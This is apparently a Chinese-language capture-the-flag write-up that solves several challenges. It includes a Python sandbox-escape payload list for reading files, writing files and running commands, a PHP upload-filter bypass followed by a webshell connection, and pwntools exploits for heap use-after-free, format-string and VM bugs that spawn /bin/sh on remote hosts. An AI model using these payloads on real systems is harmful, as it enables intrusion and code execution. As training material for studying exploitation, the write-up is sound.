回复公众号
用winhex分离出9张图,按顺序拼:
通过Stegsolve改变后很像二维码,但扫不出来
题目提示汉信码
根据汉信码的特征,反色后手动拼一个:
在http://www.efittech.com/hxdec.html 中识别汉信码,得到flag:
flag{4ab1507d-d195-4d30-87c0-a0d85a77d953}
roboot.txt
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1520, in _execute
result = self.prepare()
File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 2266, in prepare
raise HTTPError(self._status_code)
HTTPError: HTTP 404: Not Found
根据 报错信息和题目 初步确定Python沙箱安全
初步测试 执行1+2+float(1.1)\1+2+int('3.3')\1+2+abs(3.3)
说明math函数里面可以有字符串
payload: 1+2+float(str([].__class__.__mro__[-1].__subclasses__()[40]('/flag').read()))
详细知识请参看
https://www.anquanke.com/post/id/85571
https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/pwn/sandbox/python-sandbox-escape.md
[].class.mro[-1].subclasses()/().class.mro[-1].subclasses()魔术代码,不用import任何模块,但可调用任意模块的方法。一开始并不知道file在40的位置,直接暴力遍历,后面跟上file对应的方法即可。
其中常见payload
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").p
python 沙箱逃逸
得到flag:
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}
$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
提交一个filename数组
$file[count($file) - 1] 根据数组下标取最后一个元素
$ext = end($file) 数组里最后一个元素
<?php
$f=array();
$f[2]='222';
$f[0]='000';
echo end($f);
//console 000
?>
菜刀连接find flag
根据题目,可以猜测到应该和fastbin有关, 最开始的思路是:
1) 添加2个servant,并且servant的名字size都为256;
2) 释放第2个servant,再释放第1个servant,释放掉第1个servant后,会在fd和bk处填充main_arena+48的值;
3) 而后重新添加1个servant,并且servant的名字size同样为256,那么最后会在最初始添加servant的地方分配到堆,只要控制好输入servant ability的值,即可保存bk处存储的main_arena+48的值;
4) 展示第1个servant的信息,将由此得到main_arena的地址,通过leak到的main_arena地址可以计算到system的地址;
5) 再次删除掉刚添加的servant;
6) 再添加1个servant,并且将servant的名字size扩大到512,这样就可以覆盖到最开始添加的2个servant的第2个sevant的print_servant_content函数地址,将其替换成system的地址;
7) 展示第2个servant的信息时,将会执行system函数,但调试发现system的参数不可控;
后来逆向发现程序中存在一个secret函数地址,此函数内就是执行了system('/bin/bash'),因此实际上根本不需要计算出system的地址,直接在第6步中,将第2个sevant的print_servant_content函数地址覆盖成secret函数地址即可
exp:
#!/usr/bin/python
import pwnlib
import re
from pwn import *
context.log_level = 'debug'
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = remote('106.75.104.139', 26768)
#p = process('./pwn')
elf = ELF('./pwn')
# new
def add(size, content):
p.recvuntil('Your choice:\n')
p.sendline("1")
p.recvuntil("the size of servant's name : \n")
p.sendline(str(size))
p.recvuntil("ability : \n")
p.sendline(content)
def show(index):
p.recvuntil('Your choice:\n')
p.sendline("3")
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('\n')
data = p.recvuntil("\n")
print data
addr = data[:4]
if len(addr) < 4:
addr += '\x00' *( 4 - len(addr))
return u32(addr)
def delete(index):
p.recvuntil('Your choice:\n')
p.sendline("2")
p.recvuntil("Index : ")
p.sendline(str(index))
def main():
#puts_got = elf.got['puts']
#atoi_got = elf.got['atoi']
main_arena_offset = 0x1AD420
secret_addr = 0x08048956
add(256, "1111")
add(256, "/bin/sh\x00")
delete(1)
delete(0)
add(256, '123')
#show(0)
main_arena_addr = show(0)
print "[+] Leak main_arena_addr -> {}".format(hex(main_arena_addr))
system_address = main_arena_addr - main_arena_offset - 48 + libc.symbols['system']
print "[+] Got system address -> {}".format(hex(system_address))
delete(0)
add(512, '\x00'*(16*0x10+8-22) + '/bin/sh\x00'+'\x00'*(22-8)+p32(secret_addr))
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#gdb.attach(proc.pidof(p)[0])
#show("1")
#p.sendline("/bin/sh\x00")
p.interactive()
if __name__ == '__main__':
main()
第二种解法:劫持print_servant_content函数
用同样的方式leak systeam的函数地址,或者通过read在got中的地址leak,然后再次利用UAF从fastbin中malloced 8 byte的chunk,用systeam的地址覆盖chunk fb指针处的print_servant_content函数地址,用指令';sh;'覆盖bk指针,通过print_servant操作,call systeam
(*(void (__cdecl **)(void *))servantlist[index])(servantlist[index]);
exp:
from pwn import *
p = process('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#p = remote('106.75.104.139', 26768)
#libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
def add(size, ability):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('name :')
p.sendline(size)
p.recvuntil('ability :')
p.send(ability)
def delete(index):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('Index : ')
p.sendline(index)
def show(index):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(index)
add('128','AAAAAAAA')
add('128','BBBBBBBB')
delete('1')
delete('0')
add('128','CCCC')
show('0') # show('2')
p.recvuntil('CCCC')
arena_addr = u32(p.recv(4))-48
log.info('arena_addr: '+hex(arena_addr))
libc_addr = arena_addr - 0x1B2780 # local libc offset
log.info('libc_addr: '+hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.info('system_addr: '+hex(system_addr))
delete('0')
add('8',p32(system_addr)+';sh;')
show('1')
p.interactive()
看题目应该是格式化字符串漏洞, 所以最开始需要确定具体的可控的参数位置,利用下述脚本即可获得具体的偏移位置:
#!/usr/bin/python
from pwn import *
elf = ELF('./pwn')
for i in xrange(1,100):
p = process('./pwn')
p.recvuntil("Do you know repeater?\n")
payload = 'AAAA,%' + str(i) + '$x'
p.sendline(payload)
try:
data = p.recv()
if '41414141' in data:
print ""
print "[+] Found it: {}".format(str(i))
print
p.close()
break
else:
p.close()
except:
p.close()
利用脚本跑出来是在第6个位置会回显,然后利用printf_got的地址来leak printf的实际地址, 而后根据leak到的printf的实际地址来判断目标系统上使用的libc库,这里利用LibcSearcher来确定,如下图所示:
这里使用了libc6-i386_2.23-0ubuntu10_amd64的libc库,而后即可计算system的地址,最后再利用格式化字符串的任意地址写的特性,将printf_got的地址修改为system地址即可。
exp:
#!/usr/bin/python
from pwn import *
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('./00.CTF/Tools/LibcSearcher/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
elf = ELF('./pwn')
#p = process('./pwn')
#p = remote('127.0.0.1', 9999)
p = remote('106.75.126.184', 58579)
context.log_level = 'debug'
def get_addr(addr):
p.recvuntil("Do you know repeater?\n")
payload = p32(addr) + '%6$s'
p.sendline(payload)
data = p.recv()
print data
return u32(data[4:4+4])
def main():
printf_got = elf.got['printf']
printf_addr = get_addr(printf_got)
#get_addr(read_got)
print "[+] Got printf address -> {}".format(hex(printf_addr))
system_addr = libc.symbols['system'] - libc.symbols['printf'] + printf_addr
print "[+] Got system address -> {}".format(hex(system_addr))
payload = fmtstr_payload(6, {printf_got: system_addr})
#p.recvuntil('\n')
p.sendline(payload)
p.recvuntil('\n')
p.sendline('/bin/sh\x00')
p.interactive()
if __name__ == '__main__':
main()
最终获得的flag如下:
由测试可知,当输入长度大于52时(算入回车),出现crash
根据crash可定位到切换虚拟机eip的位置
定位对应堆地址,栈和eip的全局变量:
0x7ffff7ff3fc0 内存写入地址,payload地址
内存值 变量名 变量偏移地址
0x7ffff7ff5000 current_buf 0x555555756100
0x7ffff7ff5000 curren_buf_start 0x5555557560f8
0x7ffff7ff4000 stack_base 0x5555557560d0
stack 0x5555557560b8
0x7ffff7ff3000 mmap_0x2000 0x5555557560e0
生成payload:
syscall_eip = (__int64)syscall_eip_start + 4 * ((signed int)re(pop stack) + 3);
控制eip栈地址距离payload地址的偏移
0x7ffff7ff3ff4 - 0x7ffff7ff3fc0 = 0x34 = 52
第一个eip偏移
syscall_eip = (((target - syscall_eip_start) >> 2)-3) = (((0x7ffff7ff3fc0 - 0x7ffff7ff5000) >> 2)-3) = 9xFFFFFBED
第二个eip偏移,前52个字节无法填充payload,所以再次跳转
syscall_eip = (((target - syscall_eip_start) >> 2)-3) = (((0x7ffff7ff4000 - 0x7ffff7ff5000) >> 2)-3) = 0xFFFFFBFD
栈偏移
stack_offset = (target_base_stack - mmap_0x2000)/4 = (0x7ffff7ff3500 - 0x7ffff7ff3000) / 4 = 0x140
payload:
13 00 00 00 base_stack = (re(pop stack) * 4) + mmap_0x2000 = mmap_0x2000+0x500
12 00 00 00 stack = base_stack
07 00 00 00 ff ff fb fd push FFFFFBFD
06 00 00 00 syscall_eip= syscall_eip_start+ 4 * ((signed int)re(pop stack) + 3);
<...这里需要补充满52个字节...>
ff ff fb ed s tack指向这边, 用来计算syscall_eip偏移
00 00 01 40 00 00 01 40 用来计算栈偏移
07 00 00 00 2f 73 68 00 push /bin
07 00 00 00 2f 62 69 6e push /sh
0d 00 00 00 syscall_rdi = stack
1a 00 00 00 00 00 00 00 syscall_rsi = (signed int)re(*(_DWORD *)curren_buf);
01 00 00 00 00 00 00 3b syscall_rax = (signed int)re(*(_DWORD *)curren_buf);
04 00 00 00 00 00 00 00 syscall_rdx = (signed int)re(*(_DWORD *)curren_buf);
0e 00 00 00 syscall
exp:
4.Exp:
from pwn import *
#context.log_level = 'debug'
#p = process("./hvm")
p = remote("117.50.4.173", 10315)
payload = "\x13\x00\x00\x00\x12\x00\x00\x00\x07\x00\x00\x00\xff\xff\xfb\xfd\x06\x00\x00\x00"
payload = payload + 'A' * (52 - len(payload))
payload = payload + "\xff\xff\xfb\xed\x00\x00\x01\x40\x00\x00\x01\x40\x07\x00\x00\x00\x2f\x73\x68\x00\x07\x00\x00\x00\x2f\x62\x69\x6e\x0d\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x3b\x04\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00"
p.sendafter("hello\n", payload)
p.interactive()
这题后来看到看雪上还有更简单的解法
使用angr,先ida反汇编得到
成功路径find=0x400A84
失败路径:avoid=0x400A90
代码如下:
import angr
def main():
p = angr.Project("martricks")
simgr = p.factory.simulation_manager(p.factory.full_init_state())
simgr.explore(find=0x400A84, avoid=0x400A90)
return simgr.found[0].posix.dumps(0).strip('\0\n')
if __name__ == '__main__':
print main()
运行得到flag:
根据反汇编的结果编写如下代码,其中2个注意点是:
1、srand的值需要动态调试确定下其初始值
2、以42个字符的和值为遍历,发现其值都有:3681
const int BUFF_LEN = 255*50*50;
int * pbuff=NULL;
unsigned int dword_4030B4[42] = {
0x63B25AF1,0x0C5659BA5,0x4C7A3C33,0x0E4E4267,0x0B611769B,
0x3DE6438C,0x84DBA61F,0x0A97497E6,0x650F0FB3,0x84EB507C,
0x0D38CD24C,0x0E7B912E0,0x7976CD4F,0x84100010,0x7FD66745,
0x711D4DBF,0x5402A7E5,0x0A3334351,0x1EE41BF8,0x22822EBE,
0x0DF5CEE48,0x0A8180D59,0x1576DEDC,0x0F0D62B3B,0x32AC1F6E,
0x9364A640,0x0C282DD35,0x14C5FC2E,0x0A765E438,0x7FCF345A,
0x59032BAD,0x9A5600BE,0x5F472DC5,0x5DDE0D84,0x8DF94ED5,
0x0BDF826A6,0x515A737A,0x4248589E,0x38A96C20,0x0CC7F61D9,
0x2638C417,0x0D9BEB996 };
unsigned int hack_one(int a1,int a2)
{
__asm {
mov eax, dword ptr[esp + 8]
movzx ecx, byte ptr[esp +12]
mul ecx
mov ecx, 0FAC96621h
push eax
xor edx, edx
div ecx
pop eax
push edx
mul eax
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
pop edx
mul edx
div ecx
mov eax, edx
}
}
int main()
{
pbuff = new int [BUFF_LEN];
for (int sum = 42; sum < 255 * 42; sum++)
{
srand(sum^0x31333359);
for (int j = 0; j < 42; j++)
pbuff[sum*42 + j]= rand();
}
for (int num = 0; num <42; num++)
{
for (int i = 0; i <255; ++i)
{
for (int sum = 42; sum < 255 * 42; sum++)
{
if (hack_one(pbuff[sum * 42 + num],i) == dword_4030B4[num] && sum==3681)
{
printf("%c",i);
}
}
}
}
printf("\nend\n");
return 0;
}
最后得到flag: